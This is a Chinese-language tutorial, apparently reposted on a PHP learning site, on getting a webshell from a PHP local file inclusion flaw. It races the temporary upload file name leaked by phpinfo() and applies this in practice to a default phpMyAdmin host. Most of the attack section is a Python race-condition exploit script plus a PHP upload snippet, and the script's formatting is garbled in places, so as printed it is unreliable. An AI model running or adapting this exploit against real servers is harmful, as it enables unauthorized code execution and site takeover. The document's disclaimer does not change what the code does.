0

0

技术讨论 | PHP本地文件包含漏洞GetShell

爱谁谁

爱谁谁

发布时间:2025-08-30 08:19:28

|

343人浏览过

|

来源于php中文网

原创

序言

让我们突破各种严苛环境实现GetShell,本文将以phpmyadmin的文件包含漏洞为例进行展示。

注意:本文仅供技术讨论和分析,切勿用于任何非法活动,违者后果自负。

漏洞背景 当您发现PHP本地文件包含漏洞时,却因没有上传点或受base_dir限制而感到尴尬,可以尝试以下方法进行突破。

利用条件

  1. 存在PHP文件包含漏洞
  2. 存在PHPINFO泄漏页面或其他debug泄漏,用于获取tmp_name值

漏洞复现 演示环境:Windows + PHP 5.6

0x01: PHP文件上传示例:

立即学习PHP免费学习笔记(深入)”;

 0)    {
    echo "Error: " . $_FILES["file"]["error"] . "

"; } else { echo "Upload: " . $_FILES["file"]["name"] . "

"; echo "Type: " . $_FILES["file"]["type"] . "

"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb

"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } } else { echo "Invalid file"; } ?>

上述示例会在服务器的PHP临时文件夹中创建一个上传文件的临时副本,但并不会保存。上传文件名通过php + random(6)进行拼接。

当向PHP发送包含文件区块的POST数据包时,无论代码中是否有处理文件上传的逻辑,PHP都会将该文件保存为临时文件。然而,该文件会在生成的瞬间被删除,因此需要利用条件竞争进行包含。

0x02: 获取临时文件名 phpinfo() 会打印出所有请求的变量,因此我们只需向phpinfo发送上传文件的数据包,即可获取到临时文件名。

技术讨论 | PHP本地文件包含漏洞GetShell

然而,文件删除速度很快,导致条件竞争难以利用。通过学习P牛师傅的文章,我们需要利用条件竞争,具体流程如下:

复现phpinfo.php

lfi.php

利用脚本(在Windows环境下测试,主要修改切片获取的文件名,并根据具体实战环境修改REQ1和REQ2):

#!/usr/bin/python
import sys
import threading
import socket

def setup(host, port): TAG = "Security Test" PAYLOAD = """%s\r');?>\r""" % TAG REQ1_DATA = """-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOAD padding = "A" * 5000 REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\rCookie: PHPSESSID=aqf2ev7vo5puq7bpbnihcs0pbdanfo1j; othercookie=""" + padding + """\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """ + padding + """\rHTTP_ACCEPT_LANGUAGE: """ + padding + """\rHTTP_PRAGMA: """ + padding + """\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" % (len(REQ1_DATA), host, REQ1_DATA) LFIREQ = """GET /ec.php?file=%s HTTP/1.1\rCookie: xxxx\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r""" return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(4096) s.send(lfireq % (d[offset:-1] + tag)) d = "" while True: i = s.recv(4096) d += i if i == "": break if 'Security Test' in d: s.close() s2.close() return True s.close() s2.close() return False

class ThreadManager(threading.Thread): def init(self, event, *args): threading.Thread.init(self) self.args = args self.event = event

def run(self):
    counter = 0
    (REQ1, TAG, LFIREQ) = setup(*self.args)
    while True:
        if counter == self.maxattempts:
            return
        counter += 1
        try:
            x = phpInfoLFI(*self.args)
            if self.event.is_set():
                break
            if x:
                print "\nGot it! Shell created in /tmp/g"
                self.event.set()
        except socket.error:
            return

def getOffset(host, port, phpinforeq): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d += i if i == "": break if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i + 10], i) return i + 256

def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) [nr threads]" % sys.argv[0] sys.exit() host = sys.argv[1] port = int(sys.argv[2]) try: nrthreads = int(sys.argv[3]) except IndexError: nrthreads = 20

phpinforeq = "GET /phpinfo.php HTTP/1.0\r\n\r\n"
offset = getOffset(host, port, phpinforeq)
(REQ1, TAG, LFIREQ) = setup(host, port)

e = threading.Event()
tp = []
for i in range(nrthreads):
    tp.append(ThreadManager(e, host, port, REQ1, offset, LFIREQ, TAG))
for t in tp:
    t.start()
try:
    while not e.is_set():
        if len(tp) >= nrthreads:
            break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
except KeyboardInterrupt:
    print "\nTelling threads to shutdown..."
    e.set()
print "Shuttin' down..."
for t in tp:
    t.join()

if name == "main": main()

GetShell:

Pixelcut
Pixelcut

AI产品图片处理——背景移除替换、物体抹除和图片放大

下载

技术讨论 | PHP本地文件包含漏洞GetShell

参数:target_host port thread

此时aaa.php并不存在,我将写入一个aaa.php,内容为:

技术讨论 | PHP本地文件包含漏洞GetShell

运行:

技术讨论 | PHP本地文件包含漏洞GetShell

可以看到,临时文件已经生成(手速快抓到的,临时文件很快会被删除)。

刷新访问aaa.php:

技术讨论 | PHP本地文件包含漏洞GetShell

实战场景: 默认phpmyadmin,加上phpinfo探针(某主机默认建站环境)。

(有朋友可能会问,为什么不包含日志等文件?因为我遇到了open_basedir限制,非常严格。)

踩坑日记: mysql写入tmp文件时,www用户无权限读取。 open_basedir限制PHP包含路径。 没有上传点,因此利用此漏洞进行突破极限。

注意:记得修改py脚本,在Windows下获取文件名时会遇到问题,可以使用re模块解决。因懒惰,我只是简单修改了临时使用,大哥们操作时记得改一下。

参考

相关专题

更多
php文件怎么打开
php文件怎么打开

打开php文件步骤:1、选择文本编辑器;2、在选择的文本编辑器中,创建一个新的文件,并将其保存为.php文件;3、在创建的PHP文件中,编写PHP代码;4、要在本地计算机上运行PHP文件,需要设置一个服务器环境;5、安装服务器环境后,需要将PHP文件放入服务器目录中;6、一旦将PHP文件放入服务器目录中,就可以通过浏览器来运行它。

1765

2023.09.01

php怎么取出数组的前几个元素
php怎么取出数组的前几个元素

取出php数组的前几个元素的方法有使用array_slice()函数、使用array_splice()函数、使用循环遍历、使用array_slice()函数和array_values()函数等。本专题为大家提供php数组相关的文章、下载、课程内容,供大家免费下载体验。

1180

2023.10.11

php反序列化失败怎么办
php反序列化失败怎么办

php反序列化失败的解决办法检查序列化数据。检查类定义、检查错误日志、更新PHP版本和应用安全措施等。本专题为大家提供php反序列化相关的文章、下载、课程内容,供大家免费下载体验。

1081

2023.10.11

php怎么连接mssql数据库
php怎么连接mssql数据库

连接方法:1、通过mssql_系列函数;2、通过sqlsrv_系列函数;3、通过odbc方式连接;4、通过PDO方式;5、通过COM方式连接。想了解php怎么连接mssql数据库的详细内容,可以访问下面的文章。

948

2023.10.23

php连接mssql数据库的方法
php连接mssql数据库的方法

php连接mssql数据库的方法有使用PHP的MSSQL扩展、使用PDO等。想了解更多php连接mssql数据库相关内容,可以阅读本专题下面的文章。

1396

2023.10.23

html怎么上传
html怎么上传

html通过使用HTML表单、JavaScript和PHP上传。更多关于html的问题详细请看本专题下面的文章。php中文网欢迎大家前来学习。

1228

2023.11.03

PHP出现乱码怎么解决
PHP出现乱码怎么解决

PHP出现乱码可以通过修改PHP文件头部的字符编码设置、检查PHP文件的编码格式、检查数据库连接设置和检查HTML页面的字符编码设置来解决。更多关于php乱码的问题详情请看本专题下面的文章。php中文网欢迎大家前来学习。

1439

2023.11.09

php文件怎么在手机上打开
php文件怎么在手机上打开

php文件在手机上打开需要在手机上搭建一个能够运行php的服务器环境,并将php文件上传到服务器上。再在手机上的浏览器中输入服务器的IP地址或域名,加上php文件的路径,即可打开php文件并查看其内容。更多关于php相关问题,详情请看本专题下面的文章。php中文网欢迎大家前来学习。

1303

2023.11.13

ip地址修改教程大全
ip地址修改教程大全

本专题整合了ip地址修改教程大全,阅读下面的文章自行寻找合适的解决教程。

27

2025.12.26

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Rust 教程
Rust 教程

共28课时 | 3.9万人学习

国外Web开发全栈课程全集
国外Web开发全栈课程全集

共12课时 | 0.9万人学习

微信小程序开发之API篇
微信小程序开发之API篇

共15课时 | 1.2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号